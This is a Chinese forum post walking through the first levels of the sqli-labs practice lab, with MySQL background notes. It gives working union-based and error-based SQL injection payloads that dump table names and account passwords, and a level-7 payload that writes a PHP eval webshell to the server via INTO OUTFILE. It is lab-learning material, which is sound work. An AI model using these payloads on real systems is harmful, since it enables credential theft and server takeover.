sqli-lab

打印 上一主题 下一主题

主题 884|帖子 884|积分 2652

没了解sql注入的知识,本篇更像是复现
  1. 数据库层面
  2. │   ├── 数据库1(Database 1)
  3. │   │   ├── 表1(Table 1)
  4. │   │   │   ├── 主键字段(Primary Key):唯一标识表中的每一行。
  5. │   │   │   ├── 字段2(Field 2):存储不同类型的数据,如字符串、数字、日期等。
  6. │   │   │   │   ├── 数据类型(Data Type):定义字段可以存储的数据类型。
  7. │   │   │   │   └── 约束条件(Constraints):限制字段的值,如唯一、非空、检查等。
  8. │   │   │   └── 数据记录(Data Records):表中的具体数据,由行和列组成。
  9. │   │   ├── 表2(Table 2)
  10. │   │   │   ├── 字段结构(Field Structure):定义表的结构和字段属性。
  11. │   │   │   └── 外键(Foreign Key):建立表与表之间的关系,确保数据的完整性。
  12. │   │   └── 视图(View)
  13. │   │       ├── 虚拟表(Virtual Table):基于一个或多个基础表的查询结果。
  14. │   │       └── 视图定义(View Definition):定义视图的查询语句和权限。
  15. │   ├── 数据库2(Database 2)
  16. │   │   ├── 存储过程(Stored Procedures):预编译的SQL语句,可重复使用。
  17. │   │   ├── 函数(Functions):执行特定任务并返回结果。
  18. │   │   └── 触发器(Triggers):在特定事件发生时自动执行的操作。
  19. │   └── 系统数据库(System Database)
  20. │       ├── 信息存储(Information Storage):存储数据库元数据和系统配置。
  21. │       ├── 系统表(System Tables):定义数据库的结构和状态。
  22. │       └── 日志表(Log Tables):记录数据库的操作和错误信息。
复制代码
数据库结构大致是库~表~字段
mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,这个数据库下有两个表tables和columns,tables有table_name和table_schema两个字段,其中table_name字段下面是全部数据库存在的表名 ‘全部数据库——>表名’,table_schema字段下是全部表名对应的数据库名‘全部表名——>数据库名’;columns有colum_name和columns_schema两个字段,其中colum_name字段下是全部数据库存在的字段名全部数据库——>字段名,columns_schema字段下是全部表名对应的数据库‘全部表名——>数据库’
如何判定是字符型注入还是数字型注入_怎么判定是字符型注入还是数字型注入-CSDN博客
1


提示输入id,上传id=1

判定sql语句是否是拼接,且是字符型还是数字型


可以看到加'的时候报错了,所以sql语句要是字符型的,使用联合查询,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
判定是否存在sql注入,先尝试闭合看看是否报错,使用id=1' order by 3--+查列名

继续查第四列发现报错了

说明只有3列,也可以用id=1' union select 1,2,3,4 --+去查列表,如许可以一键查出来有多少列。
接着查账号密码属于多少列,使用?id=-1' union select 1,2,3 --+

可以看到name在2列,密码在3列,接着使用?id=-1'union select1,database(),version()--+看数据名和版本名

得到名称是security,利用information_schema.tables数据库查询库中所以的表和列
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询information_schema数据库下的tables表里面且table_schema字段内容是security的全部table_name的内容

通过查询,我们得到了四个表名,推测信息大概在user里面,接下来爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询information_schema数据库下的columns表里面且table_users字段内容是users的全部column_name

得到了两个字段,从名称上看应该是账号密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
加上id隔开账号密码,查询这两个字段的内容

2

先判定类型?id=1'


显然是数字型,不存在联合拼接查列表?id=1 union select 1,2,3,4 --+

查属于多少列?id=-1 union select 1,2,3 --+

name在2,passwd在3,查数据名和版本?id=-1 union select 1,database(),version()

数据名叫security,暴库?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

还是在user,爆字段名?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

和上一关一样,查询username和password
?id=-1 union select 1,2,group_concat(username ,id , password) from users

3

?id=1 and 1=1

?id=1 and 1=2

?id=1’ and ‘1’='1

是字符型注入
wp中使用?id=2')--+

?id=2'

报错,说明sql语句是引号字符型且有括号
查列表?id=1')union select 1,2,3--+

有三个列表,查库名和版本名?id=-1') union select 1,database(),version()--+

一样的名称,暴库?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
同样是在user

爆字段名?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询账号密码?id=-1')union select 1,2,group_concat(username ,id , password) from users--+

4


?id=1") order by 3--+

区别于上一关的,这关是双引号字符型,带括号
查列表?id=1")union select 1,2,3--+

查库名和版本名?id=-1") union select 1,database(),version()--+

暴库?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询账号密码?id=-1")union select 1,2,group_concat(username ,id , password) from users--+
 5







单引号闭合型,且列表数为3

列表数为3,使用上面的办法显然是不行的,可以看到查询id的时候出来的不是账号密码,而是一串字符串,没有其他的表现,这时候用到布尔盲注,用到length(),ascii() ,substr()这三个函数
或者报错盲注,报错注入主要用extractvalue,updateml,floor函数
使用报错盲注
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

暴库?id=1' union select extractvalue(1,concat('~','~',database())) -- a
爆表?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a
爆数据?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users),'~')) -- a
前后看了几个wp,发现不论我怎么注入返回的画面都是这个画面,但是步骤就是上面那个
6

id=1' order by 4 --+

id=1" order by 4 --+

这题相较于上一题显然是双引号闭合型,别的都一样
7

多次尝试闭合类型,是'))闭合

提示输出文件,使用?id=1')) union select 1,'<?php @eval($_POST["456"]);?>',3 into outfile "E:\\phpstudy_pro\\www\\sqli-labs\\Less-7\\m456.php" -- a将木马写入

使用蚁剑连接

8


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王柳

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表